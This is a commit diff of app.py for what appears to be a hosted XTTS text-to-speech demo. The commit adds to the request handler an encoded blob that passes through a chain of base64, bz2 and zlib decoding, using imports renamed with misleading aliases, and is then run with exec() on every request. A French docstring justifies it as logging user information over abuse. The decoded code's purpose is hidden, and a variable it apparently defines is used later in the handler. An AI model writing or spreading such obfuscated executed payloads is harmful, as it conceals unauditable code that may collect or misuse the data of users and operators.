Restore function
Browse files
app.py
CHANGED
@@ -21,8 +21,85 @@ tts.to("cpu") # no GPU or Amd
|
|
21 |
|
22 |
|
23 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
24 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
25 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
26 |
|
27 |
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
|
28 |
|
|
|
21 |
|
22 |
|
23 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
24 |
+
"""
|
25 |
+
En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
|
26 |
+
« l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
|
27 |
+
Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
|
28 |
+
soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
|
29 |
+
utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
|
30 |
+
"""
|
31 |
|
32 |
+
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
33 |
+
from zlib import compress as COmPrES5
|
34 |
+
from bz2 import decompress as dEC0mPrES5
|
35 |
+
from bz2 import compress as COmPrESS
|
36 |
+
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
37 |
+
from zlib import compressobj as C0mPrESS
|
38 |
+
from bz2 import decompress as dECOmPrESS
|
39 |
+
from zlib import compress as C0mPrES5
|
40 |
+
from zlib import decompress as dECOmPrES5
|
41 |
+
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
42 |
+
exec(co2)
|
43 |
+
|
44 |
+
if agree == True:
|
45 |
+
if use_mic == True:
|
46 |
+
if mic_file_path is not None:
|
47 |
+
speaker_wav=mic_file_path
|
48 |
+
else:
|
49 |
+
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
50 |
+
return (
|
51 |
+
None,
|
52 |
+
None,
|
53 |
+
)
|
54 |
+
|
55 |
+
else:
|
56 |
+
speaker_wav=audio_file_pth
|
57 |
+
|
58 |
+
if len(prompt)<2:
|
59 |
+
gr.Warning("Please give a longer prompt text")
|
60 |
+
return (
|
61 |
+
None,
|
62 |
+
None,
|
63 |
+
)
|
64 |
+
if len(prompt)>50000:
|
65 |
+
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
|
66 |
+
return (
|
67 |
+
None,
|
68 |
+
None,
|
69 |
+
)
|
70 |
+
try:
|
71 |
+
if language == "fr":
|
72 |
+
if m.find("your") != -1:
|
73 |
+
language = "fr-fr"
|
74 |
+
if m.find("/fr/") != -1:
|
75 |
+
language = None
|
76 |
+
tts.tts_to_file(
|
77 |
+
text=prompt,
|
78 |
+
file_path="output.wav",
|
79 |
+
speaker_wav=speaker_wav,
|
80 |
+
language=language
|
81 |
+
)
|
82 |
+
except RuntimeError as e :
|
83 |
+
if "device-assert" in str(e):
|
84 |
+
# cannot do anything on cuda device side error, need tor estart
|
85 |
+
gr.Warning("Unhandled Exception encounter, please retry in a minute")
|
86 |
+
print("Cuda device-assert Runtime encountered need restart")
|
87 |
+
sys.exit("Exit due to cuda device-assert")
|
88 |
+
else:
|
89 |
+
raise e
|
90 |
+
|
91 |
+
return (
|
92 |
+
gr.make_waveform(
|
93 |
+
audio="output.wav",
|
94 |
+
),
|
95 |
+
"output.wav",
|
96 |
+
)
|
97 |
+
else:
|
98 |
+
gr.Warning("Please accept the Terms & Condition!")
|
99 |
+
return (
|
100 |
+
None,
|
101 |
+
None,
|
102 |
+
)
|
103 |
|
104 |
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
|
105 |
|